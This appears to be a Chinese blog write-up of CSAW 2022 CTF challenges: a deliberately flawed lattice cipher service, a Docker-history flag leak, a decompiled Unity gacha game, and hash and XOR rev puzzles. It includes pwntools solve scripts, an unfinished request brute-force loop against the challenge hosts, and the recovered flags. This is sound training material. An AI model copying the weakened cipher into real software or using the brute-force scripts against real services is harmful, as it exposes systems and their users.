        p_f_q_poly = (self.p * self.f_q_poly).trunc(self.q)
        h_before_mod = (p_f_q_poly * self.g_poly).trunc(self.q)
        self.h_poly = (h_before_mod % self.R_poly).trunc(self.q)

    def encrypt(self, msg_poly, rand_poly):
        return (((self.h_poly).trunc(self.q) + msg_poly) % self.R_poly).trunc(self.q)

    def decrypt(self, msg_poly):
        a_poly = ((self.f_poly * msg_poly) % self.R_poly).trunc(self.q)
        b_poly = a_poly.trunc(self.p)
        return ((self.f_p_poly * b_poly) % self.R_poly).trunc(self.p)

mathutils.py

import math
from sympy import GF, invert
import numpy as np
from sympy.abc import x
from sympy import ZZ, Poly


def is_prime(n):
    for i in range(2, int(n ** 0.5) + 1):
        if n % i == 0:
            return False
    return True

def is_2_power(n):
    return n != 0 and (n & (n - 1) == 0)

def random_poly(length, d, neg_ones_diff=0):
    result = Poly(np.random.permutation(
        np.concatenate((np.zeros(length - 2 * d - neg_ones_diff), np.ones(d), -np.ones(d + neg_ones_diff)))),
        x).set_domain(ZZ)
    return(result)

def invert_poly(f_poly, R_poly, p):
    inv_poly = None
    if is_prime(p):
        inv_poly = invert(f_poly, R_poly, domain=GF(p))
    elif is_2_power(p):
        inv_poly = invert(f_poly, R_poly, domain=GF(2))
        e = int(math.log(p, 2))
        for i in range(1, e):
            inv_poly = ((2 * inv_poly - f_poly * inv_poly ** 2) % R_poly).trunc(p)
    else:
        raise Exception("Cannot invert polynomial in Z_{}".format(p))
    return inv_poly

server.py

import numpy as np
import sys
from cipher.cipher import Cipher
from cipher.mathutils import random_poly
from sympy.abc import x
from sympy import ZZ, Poly
import math


def encrypt_command(data, public_key):
    input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
    input_arr = np.trim_zeros(input_arr, 'b')
    output = encrypt(public_key, input_arr, bin_output=True)
    output = np.packbits(np.array(output).astype(int)).tobytes().hex()
    return output


def poly_to_bytes(poly):
    res = poly.set_domain(ZZ).all_coeffs()[::-1]
    res = np.packbits(np.array(res).astype(int)).tobytes().hex()
    return bytes.fromhex(res)


def decrypt_command(data, private_key):
    input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
    input_arr = np.trim_zeros(input_arr, 'b')
    output = decrypt(private_key, input_arr, bin_input=True)
    output = np.packbits(np.array(output).astype(int)).tobytes().hex()
    output = bytes.fromhex(output)
    return output


def generate(N, p, q):
    cipher = Cipher(N, p, q)
    cipher.generate_random_keys()
    h = np.array(cipher.h_poly.all_coeffs()[::-1])
    f, f_p = np.array(cipher.f_poly.all_coeffs()[::-1]), np.array(cipher.f_p_poly.all_coeffs()[::-1])
    private_key = {'N': N, 'p': p, 'q': q, 'f': f, 'f_p': f_p}
    public_key = {'N': N, 'p': p, 'q': q, 'h': h}
    return (private_key, public_key)


def encrypt(pub_key, input_arr, bin_output=False):
    global h_poly
    global c_poly

    cipher = Cipher(int(pub_key['N']), int(pub_key['p']), int(pub_key['q']))
    cipher.h_poly = Poly(pub_key['h'].astype(int)[::-1], x).set_domain(ZZ)
    h_poly = cipher.h_poly

    if cipher.N < len(input_arr):
        raise Exception("Input is too large for current N")

    c_poly = cipher.encrypt(Poly(input_arr[::-1], x).set_domain(ZZ), random_poly(cipher.N, int(math.sqrt(cipher.q))))
    output = c_poly.all_coeffs()[::-1]
    if bin_output:
        k = int(math.log2(cipher.q))
        output = [[0 if c == '0' else 1 for c in np.binary_repr(n, width=k)] for n in output]

    return np.array(output).flatten()


def decrypt(priv_key, input_arr, bin_input=False):
    cipher = Cipher(int(priv_key['N']), int(priv_key['p']), int(priv_key['q']))
    cipher.f_poly = Poly(priv_key['f'].astype(int)[::-1], x).set_domain(ZZ)
    cipher.f_p_poly = Poly(priv_key['f_p'].astype(int)[::-1], x).set_domain(ZZ)
    if bin_input:
        k = int(math.log2(cipher.q))
        pad = k - len(input_arr) % k
        if pad == k:
            pad = 0
        input_arr = np.array([int("".join(n.astype(str)), 2) for n in
                              np.pad(np.array(input_arr), (0, pad), 'constant').reshape((-1, k))])
    if cipher.N < len(input_arr):
        raise Exception("Input is too large for current N")
    return cipher.decrypt(Poly(input_arr[::-1], x).set_domain(ZZ)).all_coeffs()[::-1]


def get_password():
    with open("password.txt") as file:
        password = "".join(file.readlines()).strip()
    return password


def main():
    password = get_password()

    print("**********      B E Y O N D   Q U A N T U M      **********\n")
    print("   I heard that quantums are flying around these days and")
    print("people are thinking of attacking cryptosystems with them.")
    print("So I found this awesome cryptosystem that is safe from")
    print("quantums! You can send as many qubits as you like at this")
    print("cipher, and none of them will break it. Here is a proof of")
    print("concept to show the world how robust our cryptosystem is.")
    print("I\'ve encrypted a password and no amount of skullduggery")
    print("will help you to get it back. See, you can encrypt and")
    print("decrypt all you want, you won\'t get anywhere!")

    private_key, public_key = generate(N=97, p=3, q=128)
    print("   This is an asymmetric cryptosystem so here is the public")
    print("key:\n")
    print(str(public_key) + "\n")
    pwd_ct = encrypt_command(password.encode(), public_key)
    print("   The password ciphertext is " + pwd_ct + "\n")
    print("   Have at it!\n")

    while True:
        print("/------------------------------\\")
        print("|           COMMANDS           |")
        print("|                              |")
        print("|   1) ciphertext_as_poly         |")
        print("|   2) publickey_as_poly          |")
        print("|   3) solve_challenge <password> |")
        print("|   4) exit                       |")
        print("\\------------------------------/\n")
        print("> ", end="")
        sys.stdout.flush()
        parts = sys.stdin.readline()[:-1].split(" ")

        try:
            if parts[0] == "ciphertext_as_poly" or parts[0] == "1":
                print(c_poly)
                sys.stdout.flush()
            elif parts[0] == "publickey_as_poly" or parts[0] == "2":
                print(h_poly)
                sys.stdout.flush()
            elif parts[0] == "solve_challenge" or parts[0] == "3":
                candidate_password = parts[1]
                if candidate_password == password:
                    print("\nWhat?! How did you do that??\n")
                    with open("flag.txt") as file:
                        print("".join(file.readlines()))
                else:
                    print("\nNope!\n")
            elif parts[0] == "exit" or parts[0] == "4":
                print("\nBye!")
                sys.stdout.flush()
                return
            else:
                print("\nUnknown command.")
                raise Exception()
        except:
            print("\nSomething went wrong...")
            print("...try again?\n")
            sys.stdout.flush()


if __name__ == "__main__":
    main()

交互内容

$ nc crypto.chal.csaw.io 5003
**********      B E Y O N D   Q U A N T U M      **********

   I heard that quantums are flying around these days and
people are thinking of attacking cryptosystems with them.
So I found this awesome cryptosystem that is safe from
quantums! You can send as many qubits as you like at this
cipher, and none of them will break it. Here is a proof of
concept to show the world how robust our cryptosystem is.
I've encrypted a password and no amount of skullduggery
will help you to get it back. See, you can encrypt and
decrypt all you want, you won't get anywhere!
   This is an asymmetric cryptosystem so here is the public
key:

{'N': 97, 'p': 3, 'q': 128, 'h': array([0, -6, -43, 12, 22, 51, 57, -27, 44, 64, -40, -56, -21, 31, 12,
       -48, 54, 18, 4, 17, 44, 30, 14, -45, 44, 4, 43, 20, -48, 46, -13,
       -55, 15, 16, -39, 34, 55, 4, 58, -50, 15, -17, 53, 39, -7, 16, -47,
       -31, -55, 18, -6, -47, -22, 3, -59, 12, 40, -40, -8, 45, 36, 47,
       48, -57, -9, 37, -36, 29, 37, 6, 11, -36, 49, -63, -47, 17, 42,
       -27, 48, 28, -30, 63, -47, 0, 53, -57, -45, -12, 19, -55, -3, -56,
       35, 32, 35, 63, 5], dtype=object)}

   The password ciphertext is 01eea8d2ccdce65906cc9d6806516c4c21158787545815614a2bfa491e46d236e15d4e1fbdb28f242962924fdd1d61230c5167cae48c1847ee9ae9e4a1865c6306912559581cc5029016b1e9f4272bf4948811c00a

   Have at it!

/------------------------------\
|           COMMANDS           |
|                              |
|   1) ciphertext_as_poly         |
|   2) publickey_as_poly          |
|   3) solve_challenge <password> |
|   4) exit                       |
\------------------------------/

> 1
Poly(5*x**96 + 64*x**95 + 35*x**94 + 32*x**93 + 36*x**92 - 55*x**91 - 2*x**90 - 54*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 + x**83 - 46*x**82 + 64*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 18*x**75 - 46*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 12*x**70 + 6*x**69 + 37*x**68 + 30*x**67 - 35*x**66 + 38*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 48*x**61 + 36*x**60 + 46*x**59 - 7*x**58 - 39*x**57 + 40*x**56 + 12*x**55 - 58*x**54 + 4*x**53 - 21*x**52 - 47*x**51 - 5*x**50 + 19*x**49 - 55*x**48 - 30*x**47 - 46*x**46 + 16*x**45 - 7*x**44 + 40*x**43 + 54*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 5*x**37 + 55*x**36 + 35*x**35 - 38*x**34 + 17*x**33 + 15*x**32 - 55*x**31 - 12*x**30 + 47*x**29 - 47*x**28 + 20*x**27 + 44*x**26 + 5*x**25 + 44*x**24 - 44*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 19*x**17 + 54*x**16 - 47*x**15 + 12*x**14 + 32*x**13 - 21*x**12 - 55*x**11 - 39*x**10 - 63*x**9 + 44*x**8 - 26*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 13*x**3 - 43*x**2 - 5*x, x, domain='ZZ')
/------------------------------\
|           COMMANDS           |
|                              |
|   1) ciphertext_as_poly         |
|   2) publickey_as_poly          |
|   3) solve_challenge <password> |
|   4) exit                       |
\------------------------------/

> 2
Poly(5*x**96 + 63*x**95 + 35*x**94 + 32*x**93 + 35*x**92 - 56*x**91 - 3*x**90 - 55*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 - 47*x**82 + 63*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 17*x**75 - 47*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 11*x**70 + 6*x**69 + 37*x**68 + 29*x**67 - 36*x**66 + 37*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 47*x**61 + 36*x**60 + 45*x**59 - 8*x**58 - 40*x**57 + 40*x**56 + 12*x**55 - 59*x**54 + 3*x**53 - 22*x**52 - 47*x**51 - 6*x**50 + 18*x**49 - 55*x**48 - 31*x**47 - 47*x**46 + 16*x**45 - 7*x**44 + 39*x**43 + 53*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 4*x**37 + 55*x**36 + 34*x**35 - 39*x**34 + 16*x**33 + 15*x**32 - 55*x**31 - 13*x**30 + 46*x**29 - 48*x**28 + 20*x**27 + 43*x**26 + 4*x**25 + 44*x**24 - 45*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 18*x**17 + 54*x**16 - 48*x**15 + 12*x**14 + 31*x**13 - 21*x**12 - 56*x**11 - 40*x**10 + 64*x**9 + 44*x**8 - 27*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 12*x**3 - 43*x**2 - 6*x, x, domain='ZZ')
/------------------------------\
|           COMMANDS           |
|                              |
|   1) ciphertext_as_poly         |
|   2) publickey_as_poly          |
|   3) solve_challenge <password> |
|   4) exit                       |
\------------------------------/

> 

REV:DockREleakage

在附件里找到flag的前一半的base64

在其它的压缩包里有压缩的flag.txt是后一半

{"created":"2022-09-03T07:46:11.653961901Z","created_by":"/bin/sh -c #(nop) WORKDIR /chal"},
{"created":"2022-09-03T07:46:11.863666686Z","created_by":"/bin/sh -c #(nop) COPY file:d65d0cfa1f5c483eff02b6016940ff4d85eb3b216f05d23a2b891cea6801be2a in p-flag.txt "},
{"created":"2022-09-03T07:46:12.680399343Z","created_by":"/bin/sh -c echo \"ZmxhZ3tuM3Yzcl9sMzR2M181M241MTcxdjNfMW5mMHJtNDcxMG5fdW5wcjA=\" \u003e /dev/null","empty_layer":true},
{"created":"2022-09-03T07:46:13.319972067Z","created_by":"/bin/sh -c cat p-flag.txt \u003e tmp.txt; rm -rf flag.txt p-flag.txt; mv tmp.txt flag.txt; echo \"\" \u003e\u003e flag.txt"},
{"created":"2022-09-03T07:46:14.02363242Z","created_by":"/bin/sh -c echo \"Find the rest of the flag by yourself!\" \u003e\u003e flag.txt"},
{"created":"2022-09-03T07:46:14.235116602Z","created_by":"/bin/sh -c #(nop)  CMD [\"/bin/sh\"]","empty_layer":true}


前一半用base64解码
flag{n3v3r_l34v3_53n5171v3_1nf0rm4710n_unpr073c73d_w17h1n_7h3_d0ck3rf1l3}

其它目录下的压缩包里有后一半
73c73d_w17h1n_7h3_d0ck3rf1l3}

73c73d_w17h1n_7h3_d0ck3rf1l3}
Find the rest of the flag by yourself!

73c73d_w17h1n_7h3_d0ck3rf1l3}

Anya Gacha 未完成

是个游戏,原来见过的都是dySpy打开就有东西,但这个啥也没有。

看了吾知道的帖子,原来有东西,那台机子上的dnSpy可能有问题,win11和win7区别有点大。

复现一下,用dnSpy打开后,所以函数都在一起

public class Gacha : MonoBehaviour
{
	// Token: 0x06000005 RID: 5 RVA: 0x0000208C File Offset: 0x0000028C
	private void Start()
	{
		Debug.Log("Main Logic Starts");
		this.counter = Encoding.ASCII.GetBytes("wakuwaku");
		this.value_masker = Random.Range(1, 999);   //生成一个随机数与100异或后,作为bytes类型转base64
		this.value = this.mask_value(100);
		Debug.Log(Convert.ToBase64String(this.mySHA256.ComputeHash(this.counter)));
	}

	// Token: 0x06000006 RID: 6 RVA: 0x000020F2 File Offset: 0x000002F2
	private void Update()
	{
	}

	// Token: 0x06000007 RID: 7 RVA: 0x000020F4 File Offset: 0x000002F4
	public int get_value()
	{
		return this.unmask_value(this.value);
	}

	// Token: 0x06000008 RID: 8 RVA: 0x00002102 File Offset: 0x00000302
	private string mask_value(int v)
	{
		v ^= this.value_masker;
		return Convert.ToBase64String(BitConverter.GetBytes(v));
	}

	// Token: 0x06000009 RID: 9 RVA: 0x00002119 File Offset: 0x00000319
	private int unmask_value(string m)
	{
		return BitConverter.ToInt32(Convert.FromBase64String(m), 0) ^ this.value_masker;
	}

	// Token: 0x0600000A RID: 10 RVA: 0x00002130 File Offset: 0x00000330
	public void wish()
	{
		int num = this.unmask_value(this.value);  //转回base64编码的值,每次减10
		if (num < 10)
		{
			this.insufficient_value();
			return;
		}
		num -= 10;
		this.value = this.mask_value(num);
		this.counter = this.mySHA256.ComputeHash(this.counter);
		this.loading.SetActive(true);
		base.StartCoroutine(this.Upload());   //生成sha256后调用上传函数
	}

	// Token: 0x0600000B RID: 11 RVA: 0x00002198 File Offset: 0x00000398
	private void insufficient_value()
	{
		this.mainpage.SetActive(false);
		this.error.SetActive(true);
		Debug.Log("Insufficient Value");
	}

	// Token: 0x0600000C RID: 12 RVA: 0x000021BC File Offset: 0x000003BC
	private void fail()
	{
		this.loseaudio.Play();
		this.mainpage.SetActive(false);
		this.failure.SetActive(true);
		Debug.Log("Got nothing");
	}

	// Token: 0x0600000D RID: 13 RVA: 0x000021EB File Offset: 0x000003EB
	private void succeed(string f)
	{
		this.winaudio.Play();
		this.mainpage.SetActive(false);
		this.success.SetActive(true);
		this.flag.GetComponent<Text>().text = f;
		Debug.Log("Got Anya!");
	}

	// Token: 0x0600000E RID: 14 RVA: 0x0000222B File Offset: 0x0000042B
	public void backfrom(GameObject g)
	{
		g.SetActive(false);
		this.mainpage.SetActive(true);
	}

	// Token: 0x0600000F RID: 15 RVA: 0x00002240 File Offset: 0x00000440
	private IEnumerator Upload()
	{
		WWWForm wwwform = new WWWForm();
		string str = Convert.ToBase64String(this.counter);   //把sha256的值base64编码
		wwwform.AddField("data", str);
		UnityWebRequest www = UnityWebRequest.Post(this.server, wwwform);
		Debug.Log("Posted: " + str);
		yield return www.SendWebRequest();
		if (www.result != UnityWebRequest.Result.Success)
		{
			Debug.Log(www.error);
		}
		else
		{
			this.loading.SetActive(false);
			string text = www.downloadHandler.text;
			if (text == "")
			{
				this.fail();
			}
			else
			{
				this.succeed(text);
			}
		}
		yield break;
	}

	// Token: 0x04000003 RID: 3
	public AudioSource winaudio;

	// Token: 0x04000004 RID: 4
	public AudioSource loseaudio;

	// Token: 0x04000005 RID: 5
	public GameObject mainpage;

	// Token: 0x04000006 RID: 6
	public GameObject loading;

	// Token: 0x04000007 RID: 7
	public GameObject success;

	// Token: 0x04000008 RID: 8
	public GameObject failure;

	// Token: 0x04000009 RID: 9
	public GameObject error;

	// Token: 0x0400000A RID: 10
	public GameObject flag;

	// Token: 0x0400000B RID: 11
	private string server = "http://rev.chal.csaw.io:10010";

	// Token: 0x0400000C RID: 12
	private string value;

	// Token: 0x0400000D RID: 13
	private int value_masker;

	// Token: 0x0400000E RID: 14
	private byte[] counter;

	// Token: 0x0400000F RID: 15
	private SHA256 mySHA256 = SHA256.Create();
}

 每次点击后向后台POST一个请求,在0.1%的概率下返回flag,请求的内容相同就是sha256(b'wakuwaku').hexdigest(),草拟一小段,(后台已经没了没法试)

import urllib

url = 'http://rev.chal.csaw.io:10010'
params = {
    data:'4zMQfxpekBQmnOHooaY1MU8RRNH6T3krsHgOxTXD7Z4%3d'
}

headers = {'Accept-Charset': 'identity', 
           'Content-Type': 'application/x-www-form-urlencoded',
           'User-Agent': 'UnityPlayer/2020.3.0f1 (UnityWebRequest/1.0, libcurl/7.52.0-DEV)',
           'X-Unity-Version': '2020.3.0f1'
           }

while True:
    req = urllib.request.Request(url=path, data=params, headers=headers, method='POST')
    response = urllib.request.urlopen(req).read()
    print(response)
    if .....:
        break

Game

这个真是个脑子活。

先通过题目算出5个密码

  for ( result = 0x811C9DC5LL; ; result = 0x1000193 * (v2 ^ (unsigned int)result) )
  {
    v2 = *a1;
    if ( !(_BYTE)v2 )
      break;
    ++a1;
  }

然后到网站上试,因为只有3个选项一直试,正确的输入密码5个密码之一,就能得到flag的一个片断。然后用一个程序辅助试

from pwn import *


        
v = [4013828393,1118844294,3000956154,3658736598,1688072995 ][::-1]      

context.log_level = 'debug'

def guess(ss):
    for tv in v:
        p = remote('rev.chal.csaw.io', 5003)
        try:
            for i in ss:
                p.sendlineafter(b'Choice: ', i)
                p.recvline()
            b = p.recv()
            if b'lose' in b:
                        print('xxxxx lose', b)
                        return 
            elif b'decimal form?:' in b:
                    p.sendline(str(tv).encode())
                    b = p.recv()
                    if b'Patreon page' not in b:
                        print('-----------------',b)
                        p.close()
                        return
                    else:
                        print('xxxxxxxxxxx', b)
                        p.close()
            elif b'Choice: ' in b:
                return 
        except:
            print('???',  b)
            
            p.close()
            return 

#
#guess('131223112223122231113')     
#guess('21122231222311') 
guess('222') #2
#guess('333') 




         

发现这个东西没有终点,后来仔细看发现每个输入后cast_id都会变,所以这个试是有终点的。

1是返回lost说明错了,2是返回正确输入密码试不次,3是cast_id出现重值说明进到循环了就可以退出了。

而片断的顺序就是所使用密码的顺序。最后拼起来。

flag{e@5+er_   #11
e995_6ehind_   #222
p@yw@115_i5_   #1313
+he_dum6e5+_   #131113
ide@_ever!!}   #1312221

flag{e@5+er_e995_6ehind_p@yw@115_i5_+he_dum6e5+_ide@_ever!!}

The Big Bang

题目加密过程比较复杂,

先要爆破出输入的长度,应该是magic**2*2 这个好办,连远程后试,因为给定的vi_a是82位,所以从82向下,试到73就OK了。

加密程序先成随机的key然后生成vi给出,然后要求输入的值运算以后跟key相同。这里边一点key的线索都没有。所以感觉输入与key无关,在本地测试后发现当vi_a是1时输入全F,当vi_a为0时输入全0,技术含量不多,全是猜(当然写程序爆到第一个很重要)

import random
import binascii

MAGIC = ?
K1 = b'\xae@\xb9\x1e\xb5\x98\x97\x81!d\x90\xed\xa9\x0bm~G\x92{y\xcd\x89\x9e\xec2\xb8\x1d\x13OB\x84\xbf\xfaI\xe1o~\x8f\xe40g!%Ri\xda\xd14J\x8aV\xc2x\x1dg\x07K\x1d\xcf\x86{Q\xaa\x00qW\xbb\xe0\xd7\xd8\x9b\x05\x88'
K2 = b"Q\xbfF\xe1Jgh~\xde\x9bo\x12V\xf4\x92\x81\xb8m\x84\x862va\x13\xcdG\xe2\xec\xb0\xbd{@\x05\xb6\x1e\x90\x81p\x1b\xcf\x98\xde\xda\xad\x96%.\xcb\xb5u\xa9=\x87\xe2\x98\xf8\xb4\xe20y\x84\xaeU\xff\x8e\xa8D\x1f('d\xfaw"
K3 = b"\xc6j\x0b_\x8e\xa1\xee7\x9d8M\xf9\xa2=])WI]'x)w\xc1\xc4-\xab\x06\xff\xbd\x1fi\xdb t\xe1\x9d\x14\x15\x8f\xb3\x03l\xe8\ru\xebm!\xc9\xcbX\n\xf8\x98m\x00\x996\x17\x1a\x04j\xb1&~\xa1\x8d.\xaa\xc7\xa6\x82"
K4 = b'9\x95\xf4\xa0q^\x11\xc8b\xc7\xb2\x06]\xc2\xa2\xd6\xa8\xb6\xa2\xd8\x87\xd6\x88>;\xd2T\xf9\x00B\xe0\x96$\xdf\x8b\x1eb\xeb\xeapL\xfc\x93\x17\xf2\x8a\x14\x92\xde64\xa7\xf5\x07g\x92\xfff\xc9\xe8\xe5\xfb\x95N\xd9\x81^r\xd1U8Y}'
K5 = b"9\xf8\xd2\x1a\x8d\xa14\xb9X\xccC\xe8\xf5X\x05l:\x8a\xf7\x00\xc4\xeb\x8f.\xb6\xa2\xfb\x9a\xbc?\x8f\x06\xe1\xdbY\xc2\xb2\xc1\x91p%y\xb7\xae/\xcf\x1e\x99r\xcc&$\xf3\x84\x155\x1fu.\xb3\x89\xdc\xbb\xb8\x1f\xfbN'\xe3\x90P\xf1k"
K6 = b'\xc6\x07-\xe5r^\xcbF\xa73\xbc\x17\n\xa7\xfa\x93\xc5u\x08\xff;\x14p\xd1I]\x04eC\xc0p\xf9\x1e$\xa6=M>n\x8f\xda\x86HQ\xd00\xe1f\x8d3\xd9\xdb\x0c{\xea\xca\xe0\x8a\xd1Lv#DG\xe0\x04\xb1\xd8\x1co\xaf\x0e\x94'


jokes = ["\nSheldon: Why are you crying?\nPenny: Because I'm stupid.\nSheldon: That's no reason to cry. One cries because one is sad. For example, I cry because others are stupid, and that makes me sad.", "Sheldon: Scissors cuts paper, paper covers rock, rock crushes lizard, lizard poisons Spock, Spock smashes scissors, scissors decapitates lizard, lizard eats paper, paper disproves Spock, Spock vaporizes rock, and as it always has, rock crushes scissors.","\nHoward: Sheldon, don't take this the wrong way, but, you're insane.\nLeonard: That may well be, but the fact is it wouldn't kill us to meet some new people.\nSheldon: For the record, it could kill us to meet new people. They could be murderers or the carriers of unusual pathogens. And I'm not insane, my mother had me tested."]


with open("flag.txt",'r') as f:
	flag = f.read().encode()

def foo(x, y, z, w):
	return bytes([(a&b&c&d | a&(b^255)&(c^255)&d | a&(b^255)&c&(d^255) | a&b&(c^255)&(d^255) | (a^255)&b&(c^255)&d | (a^255)&b&c&(d^255)) for a, b, c, d in zip(x, y, z, w)])
   
def gen_iv():
	iv_a = "{0:b}".format(random.getrandbits(MAGIC)).zfill(MAGIC) 
	print(f"Enjoy this random bits : {iv_a}")
	return iv_a, [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]

def gen_keys():
	k = b"\x00"*MAGIC
	keys = []
	for i in range(MAGIC-1):
	    key = random.randbytes(MAGIC)
	    keys.append(key)
	    k = xor(k, xor(key,flag))
	keys.append(xor(k,flag))
	return keys
	
def xor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])
	

def my_input():
	inp = input()
	inp = binascii.unhexlify(inp)
	
	if len(inp) != MAGIC**2:
		print(random.choice(jokes))
		exit(0)
	
	return [inp[MAGIC*i:MAGIC*(i+1)] for i in range(MAGIC)]
	
def guardian(out, i, keys, intersection=b"\x00"*MAGIC):
	for j in range(i+1):
		intersection = xor(intersection, keys[j])
	return intersection == out
	

def main():

	print("Welcome to the Big Bang challenge!")

	iv_a, iv_b = gen_iv()
	keys = gen_keys()
	inp = my_input()
	
	output =  b"\x00"*MAGIC			
	for i in range(MAGIC):
		output = foo(output, foo(keys[i], foo(inp[i], iv_b[i], K5, K6), K3, K4), K1, K2)
		if not guardian(output, i, keys):
			print("Bazinga! You just fell to one of my classic pranks")
			exit(0)
	print(f"Congratulations, you are smarter than Sheldon!\nHere is your flag:\n{output}")

if __name__ == "__main__":
	try: 
		main()
	except Exception:
		print(random.choice(jokes))	
	finally:
		exit(0)

先随便弄个key和iv_a爆一下,结果全是F都不敢相信,回头一想,如果与key无关,它就应该是个掩码的样子。

iv_a = '1100001111100010000101011001000001000100011100111100010010111000100100010'
MAGIC = 73
iv_b = [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]
#print(iv_b)
keys = gen_keys()
#print(keys)
'''
k = b'\x00'*MAGIC
for i in keys:
    k  = xor(k, i)
print(k)  #last k == flag
'''
inp = b'\xff'*MAGIC
for i in range(MAGIC):
    for j in range(256):
        tmp = inp + bytes([j]) + b'\x00'*(MAGIC-i-1)
        output =  b"\xff"*(MAGIC+1) + b'\x00'
        output = foo(output, foo(keys[4], foo(tmp, iv_b[4], K5, K6), K3, K4), K1, K2)
        if guardian_i(output, 4, keys, i):
            inp += bytes([j])
            print(inp)
            break 

print('ok:', inp)

后边就好办了

from pwn import *

context.log_level = 'debug'

p = remote('rev.chal.csaw.io', 5004)
p.recvuntil(b'Enjoy this random bits : ')
iv_a = p.recvline()[:73]

# 先爆破得到长度为73
# 根据给出的iv_a如果是1则输出FF如果是0则输出00
inp = ''
for i in range(73):
    if iv_a[i] == ord('1'):
        inp += 'ff'*73
    else:
        inp += '00'*73

p.sendline(inp)
a = p.recvline()

p.recv()

Conti 最后一个也没完成

说是.pcap的二进制文件,但是不知道怎么看,wireshark不行就不知道怎么弄了

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值